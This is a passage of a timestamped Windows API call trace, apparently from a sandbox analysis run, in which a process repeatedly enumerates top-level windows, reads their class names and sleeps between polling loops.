nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.754] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.754] GetClassNameA (in: hWnd=0xc0240, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.754] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0139.754] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0139.754] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0139.754] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0139.754] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0139.754] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0139.754] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0139.754] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0139.754] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0139.755] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0139.755] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0139.755] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0139.755] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.755] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.756] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.757] GetClassNameA (in: hWnd=0x102b4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.758] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.759] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.760] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.760] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.760] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.761] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.761] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.761] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.761] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.761] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0139.761] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.761] GetClassNameA (in: hWnd=0xb0038, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.762] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.762] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0139.762] Sleep (dwMilliseconds=0x64) [0139.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.785] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0139.785] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0139.785] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0139.785] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.785] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.785] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.786] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.786] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.786] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0139.786] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.786] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.786] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0139.786] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0139.786] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0139.786] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.786] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0139.786] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.786] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0139.786] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0139.786] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0139.787] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.787] Sleep (dwMilliseconds=0x64) [0139.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.834] Sleep (dwMilliseconds=0x64) [0139.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.836] Sleep (dwMilliseconds=0x64) [0139.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.838] Sleep (dwMilliseconds=0x64) [0139.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.840] Sleep (dwMilliseconds=0x64) [0139.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.842] Sleep (dwMilliseconds=0x64) [0139.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.844] Sleep (dwMilliseconds=0x64) [0139.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.847] Sleep (dwMilliseconds=0x64) [0139.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.849] Sleep (dwMilliseconds=0x64) [0139.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.850] Sleep (dwMilliseconds=0x64) [0139.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.853] Sleep (dwMilliseconds=0x64) [0139.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.855] Sleep (dwMilliseconds=0x64) [0139.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.857] Sleep (dwMilliseconds=0x64) [0139.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.858] Sleep (dwMilliseconds=0x64) [0139.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.860] Sleep (dwMilliseconds=0x64) [0139.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.861] Sleep (dwMilliseconds=0x64) [0139.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.863] Sleep (dwMilliseconds=0x64) [0139.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.944] Sleep (dwMilliseconds=0x64) [0140.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.029] Sleep (dwMilliseconds=0x64) [0140.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.031] Sleep (dwMilliseconds=0x64) [0140.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.033] Sleep (dwMilliseconds=0x64) [0140.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.035] Sleep (dwMilliseconds=0x64) [0140.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.036] Sleep (dwMilliseconds=0x64) [0140.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.038] Sleep (dwMilliseconds=0x64) [0140.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.039] Sleep (dwMilliseconds=0x64) [0140.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.041] Sleep (dwMilliseconds=0x64) [0140.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.042] Sleep (dwMilliseconds=0x64) [0140.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.044] Sleep (dwMilliseconds=0x64) [0140.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.046] Sleep (dwMilliseconds=0x64) [0140.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.047] Sleep (dwMilliseconds=0x64) [0140.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.049] Sleep (dwMilliseconds=0x64) [0140.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.051] Sleep (dwMilliseconds=0x64) [0140.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.054] Sleep (dwMilliseconds=0x64) [0140.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.055] Sleep (dwMilliseconds=0x64) [0140.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.058] Sleep (dwMilliseconds=0x64) [0140.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.060] Sleep (dwMilliseconds=0x64) [0140.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.062] Sleep (dwMilliseconds=0x64) [0140.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.064] Sleep (dwMilliseconds=0x64) [0140.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.065] Sleep (dwMilliseconds=0x64) [0140.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.067] Sleep (dwMilliseconds=0x64) [0140.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.069] Sleep (dwMilliseconds=0x64) [0140.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.070] Sleep (dwMilliseconds=0x64) [0140.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.072] Sleep (dwMilliseconds=0x64) [0140.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.073] Sleep (dwMilliseconds=0x64) [0140.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.075] Sleep (dwMilliseconds=0x64) [0140.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.077] Sleep (dwMilliseconds=0x64) [0140.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.078] Sleep (dwMilliseconds=0x64) [0140.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.080] Sleep (dwMilliseconds=0x64) [0140.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.081] Sleep (dwMilliseconds=0x64) [0140.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.083] Sleep (dwMilliseconds=0x64) [0140.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.084] Sleep (dwMilliseconds=0x64) [0140.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.086] Sleep (dwMilliseconds=0x64) [0140.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.087] Sleep (dwMilliseconds=0x64) [0140.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.089] Sleep (dwMilliseconds=0x64) [0140.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.091] Sleep (dwMilliseconds=0x64) [0140.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.092] Sleep (dwMilliseconds=0x64) [0140.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.094] Sleep (dwMilliseconds=0x64) [0140.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.095] Sleep (dwMilliseconds=0x64) [0140.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.097] Sleep (dwMilliseconds=0x64) [0140.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.098] Sleep (dwMilliseconds=0x64) [0140.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.100] Sleep (dwMilliseconds=0x64) [0140.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.102] Sleep (dwMilliseconds=0x64) [0140.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.104] Sleep (dwMilliseconds=0x64) [0140.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.106] Sleep (dwMilliseconds=0x64) [0140.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.108] Sleep (dwMilliseconds=0x64) [0140.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.109] Sleep (dwMilliseconds=0x64) [0140.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.111] Sleep (dwMilliseconds=0x64) [0140.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.113] Sleep (dwMilliseconds=0x64) [0140.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.115] Sleep (dwMilliseconds=0x64) [0140.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.117] Sleep (dwMilliseconds=0x64) [0140.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.122] Sleep (dwMilliseconds=0x64) [0140.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.124] Sleep (dwMilliseconds=0x64) [0140.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.126] Sleep (dwMilliseconds=0x64) [0140.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.128] Sleep (dwMilliseconds=0x64) [0140.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.129] Sleep (dwMilliseconds=0x64) [0140.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.131] Sleep (dwMilliseconds=0x64) [0140.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.133] Sleep (dwMilliseconds=0x64) [0140.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.135] Sleep (dwMilliseconds=0x64) [0140.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.137] Sleep (dwMilliseconds=0x64) [0140.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.139] Sleep (dwMilliseconds=0x64) [0140.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.141] Sleep (dwMilliseconds=0x64) [0140.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.142] Sleep (dwMilliseconds=0x64) [0140.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.145] Sleep (dwMilliseconds=0x64) [0140.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.146] Sleep (dwMilliseconds=0x64) [0140.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.148] Sleep (dwMilliseconds=0x64) [0140.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.151] Sleep (dwMilliseconds=0x64) [0140.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.153] Sleep (dwMilliseconds=0x64) [0140.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.155] Sleep (dwMilliseconds=0x64) [0140.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.156] Sleep (dwMilliseconds=0x64) [0140.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.158] Sleep (dwMilliseconds=0x64) [0140.161] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.161] Sleep (dwMilliseconds=0x64) [0140.163] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.163] Sleep (dwMilliseconds=0x64) [0140.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.165] Sleep (dwMilliseconds=0x64) [0140.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.167] Sleep (dwMilliseconds=0x64) [0140.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.169] Sleep (dwMilliseconds=0x64) [0140.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.170] Sleep (dwMilliseconds=0x64) [0140.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.250] Sleep (dwMilliseconds=0x64) [0140.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.254] Sleep (dwMilliseconds=0x64) [0140.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.256] Sleep (dwMilliseconds=0x64) [0140.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.257] Sleep (dwMilliseconds=0x64) [0140.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.259] Sleep (dwMilliseconds=0x64) [0140.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.261] Sleep (dwMilliseconds=0x64) [0140.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.262] Sleep (dwMilliseconds=0x64) [0140.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.350] Sleep (dwMilliseconds=0x64) [0140.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.401] Sleep (dwMilliseconds=0x64) [0140.406] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.407] Sleep (dwMilliseconds=0x64) [0140.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.408] Sleep (dwMilliseconds=0x64) [0140.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 